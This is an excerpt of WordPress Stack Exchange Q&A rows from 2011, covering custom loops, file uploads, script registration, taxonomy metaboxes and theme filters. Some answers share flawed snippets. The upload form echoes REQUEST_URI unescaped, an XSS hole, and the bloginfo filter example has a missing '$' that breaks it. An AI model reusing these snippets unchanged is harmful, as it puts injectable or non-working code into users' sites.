  <row Id="18583" PostTypeId="2" ParentId="18581" CreationDate="2011-05-28T20:37:16.417" Score="0" ViewCount="" Body="&lt;p&gt;You're probably looking for something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    function add_classes_to_body_class($classes) {&#xA;&#xA;            // make sure 'page-template.php' matches your template name&#xA;            if ( is_page_template('page-template.php') ) {&#xA;                $classes[] = 'main';&#xA;            }&#xA;        return $classes;&#xA;    }&#xA;    add_filter( 'body_class', 'add_classes_to_body_class' );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;make sure you add &lt;code&gt;body_class()&lt;/code&gt; into your markup. Traditionally it would be in your body tag like so. &lt;code&gt;&amp;lt;body id=&quot;foobar&quot; &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-28T20:37:16.417" CommentCount="2" />
  <row Id="18584" PostTypeId="1" AcceptedAnswerId="18592" CreationDate="2011-05-28T20:37:46.173" Score="0" ViewCount="138" Body="&lt;p&gt;Working on a new site, I'm trying to plant recent post excerpts on a static front-page. I had been doing all my static content outside of wordpress (as static files), but was convinced to pull everything into the WP fold, so to speak. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my external static file that was serving as my home page, I had figured out how to include the blog header &lt;code&gt;&amp;lt;?php require('../wordpress/wp-blog-header.php'); ?&amp;gt;&lt;/code&gt; and then call up posts on that page, and it worked like a charm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;                        $count = 0; &#xA;                    ?&amp;gt;&#xA;                    &amp;lt;?php if ( have_posts() ) while ( have_posts() &amp;amp;&amp;amp; $count &amp;lt;= 6 ) : the_post(); ?&amp;gt;&#xA;                            &amp;lt;section class=&quot;post&quot;&amp;gt;&#xA;                                &amp;lt;header class=&quot;post&quot;&amp;gt;&#xA;                                    &amp;lt;h2&amp;gt;&amp;lt;a class=&quot;light&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                                        &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;                                    &amp;lt;div class=&quot;hr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/header&amp;gt;&#xA;                                &amp;lt;article class=&quot;post&quot;&amp;gt;&#xA;                                    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                                &amp;lt;/article&amp;gt;&#xA;                                &amp;lt;footer class=&quot;post&quot;&amp;gt;&#xA;                                    &amp;lt;?php twentyten_posted_in(); ?&amp;gt;&#xA;                                &amp;lt;/footer&amp;gt;&#xA;                            &amp;lt;/section&amp;gt;&#xA;                    &amp;lt;?php $count++; ?&amp;gt;&#xA;                    &amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, now, &lt;em&gt;I &lt;strong&gt;have&lt;/strong&gt; set up a wordpress front-page template&lt;/em&gt;, and it is being delivered dynamically, using the my theme header and this same chunk of the loop, I am getting not &lt;strong&gt;&lt;em&gt;posts&lt;/em&gt;&lt;/strong&gt;, but &lt;strong&gt;&lt;em&gt;pages&lt;/em&gt;&lt;/strong&gt; back. Instead of seeing a set of current posts, I get back some title info for the 3 wp pages currently on my site. I get that this is due to url query variables, but I'm not exactly clear how to get arround it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried manually calling up a &lt;code&gt;new WP-Query();&lt;/code&gt; but that returned nothing at all. Tho I suspect that it may work, given the proper arguments... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to pull in recent posts, instead of a list of pages, to a static front-page with this modified loop? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated - &lt;/p&gt;&#xA;" OwnerUserId="5430" LastEditorUserId="5430" LastEditorDisplayName="" LastEditDate="2011-05-28T21:25:08.227" LastActivityDate="2011-05-28T21:53:28.843" Title="Static Front-Page Excerpts" Tags="&lt;query-posts&gt;&lt;custom-loop&gt;&lt;frontpage&gt;&lt;static&gt;" AnswerCount="2" />
  <row Id="18585" PostTypeId="2" ParentId="18584" CreationDate="2011-05-28T20:48:18.533" Score="1" ViewCount="" Body="&lt;p&gt;Is there any particular reason not to use the &lt;code&gt;front-page.php&lt;/code&gt; template file, and just not bother with trying to pull WordPress headers into external files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;front-page.php&lt;/code&gt; template file is easy:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new static Page, with any arbitrary name (let's call it &quot;Front Page&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Reading&lt;/code&gt; and set &quot;Front Page Displays&quot; to &quot;Static Page&quot;&lt;/li&gt;&#xA;&lt;li&gt;Set the &quot;Front Page&quot; dropdown to the &quot;Front Page&quot; static Page you created in step 1.&lt;/li&gt;&#xA;&lt;li&gt;Create a new template file for your theme, called &lt;code&gt;front-page.php&lt;/code&gt;, and include in it your custom Loop code, above.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, you should properly filter the main Loop query as output on &lt;code&gt;front-page.php&lt;/code&gt;, rather than using the &lt;code&gt;&amp;amp;&amp;amp; $count &amp;lt;= 6&lt;/code&gt; conditional in your call to the Loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend using a simple call to &lt;code&gt;get_posts()&lt;/code&gt;, and set the &lt;code&gt;numberposts&lt;/code&gt; argument to &lt;code&gt;6&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-28T20:48:18.533" CommentCount="1" />
  <row Id="18586" PostTypeId="2" ParentId="17587" CreationDate="2011-05-28T20:48:36.213" Score="0" ViewCount="" Body="&lt;p&gt;@AboSami actually &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5673/using-upload-image-with-media-handle-upload-but&quot;&gt;answered this question&lt;/a&gt; in an older post that was not showing up in my search diligence. While he was actually looking for something else his example code worked great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $post_id = $post-&amp;gt;ID;&#xA;if ( isset( $_POST['html-upload'] ) &amp;amp;&amp;amp; !empty( $_FILES ) ) {&#xA;    require_once(ABSPATH . 'wp-admin/includes/admin.php');&#xA;    $id = media_handle_upload('async-upload', $post_id); //post id of Client Files page&#xA;    unset($_FILES);&#xA;    if ( is_wp_error($id) ) {&#xA;        $errors['upload_error'] = $id;&#xA;        $id = false;&#xA;    }&#xA;&#xA;    if ($errors) {&#xA;        echo &quot;&amp;lt;p&amp;gt;There was an error uploading your file.&amp;lt;/p&amp;gt;&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;p&amp;gt;Your file has been uploaded.&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;    &amp;lt;form id=&quot;file-form&quot; enctype=&quot;multipart/form-data&quot; action=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot; method=&quot;POST&quot;&amp;gt;&#xA;&#xA;    &amp;lt;p id=&quot;async-upload-wrap&quot;&amp;gt;&amp;lt;label for=&quot;async-upload&quot;&amp;gt;upload&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; id=&quot;async-upload&quot; name=&quot;async-upload&quot;&amp;gt; &amp;lt;input type=&quot;submit&quot; value=&quot;Upload&quot; name=&quot;html-upload&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_id&quot; id=&quot;post_id&quot; value=&quot;&amp;lt;?php echo $post_id ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php wp_nonce_field('client-file-upload'); ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Save all changes&quot; name=&quot;save&quot; style=&quot;display: none;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-05-28T20:48:36.213" />
  <row Id="18587" PostTypeId="1" AcceptedAnswerId="18589" CreationDate="2011-05-28T20:49:19.323" Score="0" ViewCount="62" Body="&lt;p&gt;I use mac with Chrome/Safari/Firefox.. My blog looks perfectly normal in thoes browsers, (center aligned content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in Internet Explorer the sites align to the left for some users.. I've set the &quot;content&quot; div to margin: auto..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works for alla browsers but not IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.dagensoutfit.co&lt;/p&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-05-28T21:15:13.607" ClosedDate="2011-05-30T19:51:55.377" Title="Chrome/Safari/Firefox vs. Internet Explorer design" Tags="&lt;theme-recommendation&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18588" PostTypeId="2" ParentId="18582" CreationDate="2011-05-28T20:50:40.623" Score="0" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://wordpress.org/extend/plugins/rss-includes-pages/&quot; rel=&quot;nofollow&quot;&gt;RSS Includes Pages&lt;/a&gt; Plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: completely untested. This Plugin was last updated a year ago, and last tested against WordPress 2.9.2.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's another one that will create a Feed for Pages: &lt;a href=&quot;http://wordpress.org/extend/plugins/page-feeder/&quot; rel=&quot;nofollow&quot;&gt;WCM Page Feeder&lt;/a&gt; Plugin.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-28T20:50:40.623" />
  <row Id="18589" PostTypeId="2" ParentId="18587" CreationDate="2011-05-28T20:55:13.257" Score="0" ViewCount="" Body="&lt;p&gt;Not really a WordPress question, but anyway... have you tried setting &lt;code&gt;html, body { text-align: center; }&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-28T20:55:13.257" />
  <row Id="18590" PostTypeId="2" ParentId="18587" CreationDate="2011-05-28T21:15:13.607" Score="1" ViewCount="" Body="&lt;p&gt;fixing the validation errors of your site should solve your problem:&#xA;&lt;a href=&quot;http://validator.w3.org/check?uri=www.dagensoutfit.co&amp;amp;charset=%28detect+automatically%29&amp;amp;doctype=Inline&amp;amp;group=0&quot; rel=&quot;nofollow&quot;&gt;http://validator.w3.org/check?uri=www.dagensoutfit.co&amp;amp;charset=%28detect+automatically%29&amp;amp;doctype=Inline&amp;amp;group=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-28T21:15:13.607" />
  <row Id="18591" PostTypeId="2" ParentId="18579" CreationDate="2011-05-28T21:46:43.850" Score="1" ViewCount="" Body="&lt;p&gt;Here you go.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'register_custom_jquery');&#xA;function register_custom_jquery() {&#xA;    wp_deregister_script('jquery');&#xA;    wp_register_script(&#xA;        'jquery', &#xA;        'https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js', &#xA;        array(), &#xA;        '1.6.1'&#xA;    );&#xA;&#xA;    wp_register_script(&#xA;        'my-custom-script', &#xA;        'http://example.com/js/script.js', &#xA;        array(), &#xA;        '1.0'&#xA;    );&#xA;}&#xA;&#xA;add_action('wp_enqueue_scripts', 'add_js_to_page');&#xA;function add_js_to_page() {&#xA;    wp_enqueue_script( 'jquery' );&#xA;&#xA;    wp_enqueue_script( 'my-custom-script' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-05-29T04:06:52.197" LastActivityDate="2011-05-29T04:06:52.197" CommentCount="4" />
  <row Id="18592" PostTypeId="2" ParentId="18584" CreationDate="2011-05-28T21:53:28.843" Score="0" ViewCount="" Body="&lt;p&gt;Ah - got it - was almost there with the new WP_Query, but was failing to call the query method on it... This works perfectly:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;                            $excerptQuery = new WP_Query();&#xA;                            $excerptQuery-&amp;gt;query('showposts=6');&#xA;                        ?&amp;gt;&#xA;                        &amp;lt;?php if ( $excerptQuery-&amp;gt;have_posts() ) while ( $excerptQuery-&amp;gt;have_posts()) : $excerptQuery-&amp;gt;the_post(); ?&amp;gt;&#xA;                                &amp;lt;section class=&quot;post&quot;&amp;gt;&#xA;                                    &amp;lt;header class=&quot;post&quot;&amp;gt;&#xA;                                        &amp;lt;h2&amp;gt;&amp;lt;a class=&quot;light&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                                            &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;                                        &amp;lt;div class=&quot;hr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;/header&amp;gt;&#xA;                                    &amp;lt;article class=&quot;post&quot;&amp;gt;&#xA;                                        &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                                    &amp;lt;/article&amp;gt;&#xA;                                    &amp;lt;footer class=&quot;post&quot;&amp;gt;&#xA;                                        &amp;lt;?php twentyten_posted_in(); ?&amp;gt;&#xA;                                    &amp;lt;/footer&amp;gt;&#xA;                                &amp;lt;/section&amp;gt;&#xA;                        &amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5430" LastActivityDate="2011-05-28T21:53:28.843" />
  <row Id="18593" PostTypeId="1" CreationDate="2011-05-28T23:10:48.083" Score="0" ViewCount="53" Body="&lt;p&gt;I have a strange issue with my blog. I am using the 'Emptiness' theme by Cliffano and I can't get inpage links to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the href and name tags in the correct manner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is that it doesn't work at all ie: the 'Is meditation making the mind go blank' section appears as a link but my cursor does not transform to a hand, ie. it is not really active, or only the underline and not the text becomes active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strange thing is that if I change to a different theme, it does work. So it has something to do with how the emptiness theme works? I read another forum post elsewhere that talked of a similar issue related to the style sheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some testing with the Stylesheet and header and it seem that it might be related to the header. If I cut the 3 lines out of the header (14th to 12th last line of the bottom part of my header.php), the in page links start working.Unfortunately I have no coding skills, can someone give any idea why this might be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cut hese 3 lines it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;endif;&#xA;        if ( count(get_categories) &amp;gt; 0 ) :&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5783" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-05-29T01:16:28.193" LastActivityDate="2011-08-27T08:35:22.033" Title="Can't get in page html links to work" Tags="&lt;page&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="18594" PostTypeId="2" ParentId="18593" CreationDate="2011-05-28T23:16:23.773" Score="0" ViewCount="" Body="&lt;p&gt;Can you please provide more example code.&lt;/p&gt;&#xA;" OwnerUserId="4386" LastActivityDate="2011-05-28T23:16:23.773" CommentCount="3" />
  <row Id="18595" PostTypeId="2" ParentId="18578" CreationDate="2011-05-28T23:51:23.073" Score="4" ViewCount="" Body="&lt;p&gt;Here is an example. I have also created a &lt;a href=&quot;https://gist.github.com/997350&quot; rel=&quot;nofollow&quot;&gt;Gist&lt;/a&gt; with more generic code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('add_meta_boxes', 'my_custom_metabox');&#xA;function my_custom_metabox() {&#xA;    add_meta_box('custom-taxonomy-dropdown','Brands','taxonomy_dropdowns_box','post','side','high');&#xA;}&#xA;&#xA;function taxonomy_dropdowns_box( $post ) {&#xA;    wp_nonce_field('custom-dropdown', 'dropdown-nonce');&#xA;    $terms = get_terms( 'brands', 'hide_empty=0');&#xA;    $object_terms = wp_get_object_terms( $post-&amp;gt;ID, 'brands', array('fields'=&amp;gt;'ids'));&#xA;&#xA;    // you can move the below java script to admin_head&#xA;?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery(document).ready(function() {&#xA;                jQuery('#custombrandoptions').change(function() {&#xA;                    var custombrand = jQuery('#custombrandoptions').val();&#xA;                    if ( custombrand == '0') {&#xA;                        jQuery('#custommodeloptions').html('');&#xA;                            jQuery('#modelcontainer').css('display', 'none');&#xA;                    } else {&#xA;                        var data = {&#xA;                            'action':'get_brand_models',&#xA;                            'custombrand':custombrand,&#xA;                            'dropdown-nonce': jQuery('#dropdown-nonce').val()&#xA;                        };&#xA;                        jQuery.post(ajaxurl, data, function(response){&#xA;                            jQuery('#custommodeloptions').html(response);&#xA;                            jQuery('#modelcontainer').css('display', 'inline');&#xA;                        });&#xA;                    }&#xA;                });&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    echo &quot;Brand:&quot;;&#xA;    echo &quot;&amp;lt;select id='custombrandoptions' name='custombrands[]'&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;option value='0'&amp;gt;None&amp;lt;/option&amp;gt;&quot;;&#xA;    foreach ( $terms as $term ) {&#xA;        if ( $term-&amp;gt;parent == 0) {&#xA;            if ( in_array($term-&amp;gt;term_id, $object_terms) ) {&#xA;                $parent_id = $term-&amp;gt;term_id;&#xA;                echo &quot;&amp;lt;option value='{$term-&amp;gt;term_id}' selected='selected'&amp;gt;{$term-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;            } else {&#xA;                echo &quot;&amp;lt;option value='{$term-&amp;gt;term_id}'&amp;gt;{$term-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;            }&#xA;        }&#xA;    }&#xA;    echo &quot;&amp;lt;/select&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;div id='modelcontainer'&quot;;&#xA;    if ( !isset( $parent_id)) echo &quot; style='display: none;'&quot;;&#xA;    echo &quot;&amp;gt;&quot;;&#xA;    echo &quot;Models:&quot;;&#xA;    echo &quot;&amp;lt;select id='custommodeloptions' name='custombrands[]'&amp;gt;&quot;;&#xA;    if ( isset( $parent_id)) {&#xA;        $models = get_terms( 'brands', 'hide_empty=0&amp;amp;child_of='.$parent_id);&#xA;        foreach ( $models as $model ) {&#xA;             if ( in_array($model-&amp;gt;term_id, $object_terms) ) {&#xA;                echo &quot;&amp;lt;option value='{$model-&amp;gt;term_id}' selected='selected'&amp;gt;{$model-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;            } else {&#xA;                echo &quot;&amp;lt;option value='{$model-&amp;gt;term_id}'&amp;gt;{$model-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;            }&#xA;        }&#xA;    }&#xA;    echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&#xA;add_action('save_post','save_my_custom_taxonomy');&#xA;function save_my_custom_taxonomy( $post_id ) {&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;        return;&#xA;&#xA;    if ( !wp_verify_nonce($_POST['dropdown-nonce'], 'custom-dropdown'))&#xA;        return;&#xA;&#xA;    $brands = array_map('intval', $_POST['custombrands']);&#xA;    wp_set_object_terms($post_id, $brands, 'brands');&#xA;}&#xA;&#xA;add_action('wp_ajax_get_brand_models', 'get_brand_models');&#xA;function get_brand_models() {&#xA;    check_ajax_referer('custom-dropdown', 'dropdown-nonce');&#xA;    if (isset($_POST['custombrand'])) {&#xA;        $models = get_terms( 'brands', 'hide_empty=0&amp;amp;child_of='. $_POST['custombrand']);&#xA;        echo &quot;&amp;lt;option value='0'&amp;gt;Select one&amp;lt;/option&amp;gt;&quot;;&#xA;        foreach ($models as $model) {&#xA;            echo &quot;&amp;lt;option value='{$model-&amp;gt;term_id}'&amp;gt;{$model-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-05-29T12:47:45.463" LastActivityDate="2011-05-29T12:47:45.463" CommentCount="10" />
  <row Id="18596" PostTypeId="1" CreationDate="2011-05-29T00:36:51.840" Score="0" ViewCount="49" Body="&lt;p&gt;&lt;br&gt;&#xA;can you help me with two things :  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;i have different movies, to classify into different &quot;genre&quot;, should i use &quot;taxonomies&quot; or the already built in &quot;category&quot;? is taxonomy more appropriate in this case? i saw so many tutorials about taxonomies, but also some website only using categories for several things, what should i do?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;i'm trying to show my personal sidebar, so i built &quot;mysidebar&quot; into &quot;functions.php&quot;,it is editable in my dashboard, but it doesn't work when i try to show it with :&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;get_sidebar ('mysidebar');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;why?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried another way, it works with :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('mysidebar') ) :&#xA;                                  dynamic_sidebar( 'mysidebar' );&#xA;                                  ?&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;isn't 'get_sidebar' the method to &quot;call&quot; the sidebar? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok so now i would like to customize my sidebar, so i created a php page named &quot;sidebar-mysidebar.php&quot; and i just echoed some text, that is not shown, could you tell me how to put some text with the code, and not only through the dashboard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-05-29T00:58:11.587" Title="sidebar troubles, taxonomy trouble" Tags="&lt;categories&gt;&lt;taxonomy&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="18598" PostTypeId="2" ParentId="18596" CreationDate="2011-05-29T00:46:38.043" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Categories are a hierarchical taxonomy. Tags are simply a non-hierarchical taxonomy. If you don't have a use for categories otherwise, then use them for genre. If you have a need for them, then create more taxonomies as needed for additional classification/categorization, etc..&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;get_sidebar('mysidebar');&lt;/code&gt; is for calling a sidebar template file, in your case &lt;code&gt;sidebar-mysidebar.php&lt;/code&gt;. &lt;code&gt;dynamic_sidebar('name');&lt;/code&gt; is for calling the sidebars you've defined for the admin panel in your functions.php file. within your main template file you'd typically use get_sidebar() to load your sidebar template, then within that template call your dynamic_sidebar(), as well as add whatever additional text or default sidebar if the dynamic sidebar doesn't exist.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-29T00:58:11.587" LastActivityDate="2011-05-29T00:58:11.587" CommentCount="3" />
  <row Id="18599" PostTypeId="2" ParentId="18521" CreationDate="2011-05-29T01:23:33.050" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure this is what you're looking for, but you can use publicize through wordpress to automatically use your blog posts as facebook status updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into your Dashboard, select My Blogs, go to the Publicity column, check Facebook. &lt;/p&gt;&#xA;" OwnerUserId="5786" LastActivityDate="2011-05-29T01:23:33.050" CommentCount="1" />
  <row Id="18600" PostTypeId="1" CreationDate="2011-05-29T01:21:14.760" Score="1" ViewCount="76" Body="&lt;p&gt;How would I override a bloginfo variable in wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want to replace this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php bloginfo('stylesheet_directory'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to return a custom URL like &lt;code&gt;http://mysites.com/hello/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8161" LastActivityDate="2011-06-28T09:18:26.050" Title="Wordpress override bloginfo variable" Tags="&lt;php&gt;&lt;css&gt;&lt;stylesheet&gt;" AnswerCount="1" />
  <row Id="18601" PostTypeId="2" ParentId="18600" CreationDate="2011-05-29T02:05:50.527" Score="1" ViewCount="" Body="&lt;p&gt;For the example you mentioned, you can add a filter to the &lt;code&gt;stylesheet_directory&lt;/code&gt; hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('stylesheet_directory','change_stylesheet_dir') ;&#xA;&#xA;function change_stylesheet_dir($stylesheet_dir, $stylesheet, $theme_root) {&#xA;  # do stuff - change the stylesheet directory&#xA;  $new_stylesheet_directory = 'http://mysites.com/hello/';&#xA;  return new_stylesheet_directory ;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For any of the other parameters for bloginfo, you can look at the code for for &lt;code&gt;bloginfo&lt;/code&gt;, which is in wp-includes/general-template.php. Follow the calls made for other bloginfo parameters to see whether there is a filter for it.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-29T09:01:56.747" LastActivityDate="2011-05-29T09:01:56.747" />
  <row Id="18602" PostTypeId="1" AcceptedAnswerId="18604" CreationDate="2011-05-29T04:34:57.650" Score="0" ViewCount="14" Body="&lt;p&gt;For example, if the post was published on may 5th 2011, then clicking on &quot;May 5th, 2011&quot; would show all posts published in May 2011. How can that be done?&lt;/p&gt;&#xA;" OwnerUserId="1226" LastActivityDate="2011-05-29T05:30:18.450" Title="Is there a template tag I can use to link to the archive page corresponding to the month that a post was published on?" Tags="&lt;theme-development&gt;&lt;template&gt;&lt;archive&gt;&lt;template-tags&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18603" PostTypeId="1" CreationDate="2011-05-29T04:45:50.997" Score="1" ViewCount="509" Body="&lt;p&gt;I am a bit of an amateur when it comes to PHP and WordPress but I have rigged up the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_comment_count($url = 'some url here') {&#xA;$filecontent = file_get_contents('https://graph.facebook.com/?ids=' . $url);&#xA;$json = json_decode($filecontent);&#xA;$count = $json-&amp;gt;$url-&amp;gt;comments;&#xA;if ($count == 0 || !isset($count)) {&#xA;    $count = 0;&#xA;}&#xA;echo $count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it does is it retrieves the comment count from the Facebook Graph and displays it on a page. For it to work, I have to manually declare the url for each call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm having a hard time with, is setting it up so that when you call the function in the template, it defaults to the post's permalink. I honestly have tried everything that has come to my mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get_permalink() doesn't work when you declare the arguments in the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be GREATLY appreciated. &#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4949" LastActivityDate="2011-05-30T18:01:04.253" Title="Facebook Comment Count" Tags="&lt;php&gt;&lt;permalinks&gt;&lt;comments&gt;&lt;facebook&gt;" AnswerCount="2" CommentCount="1" />
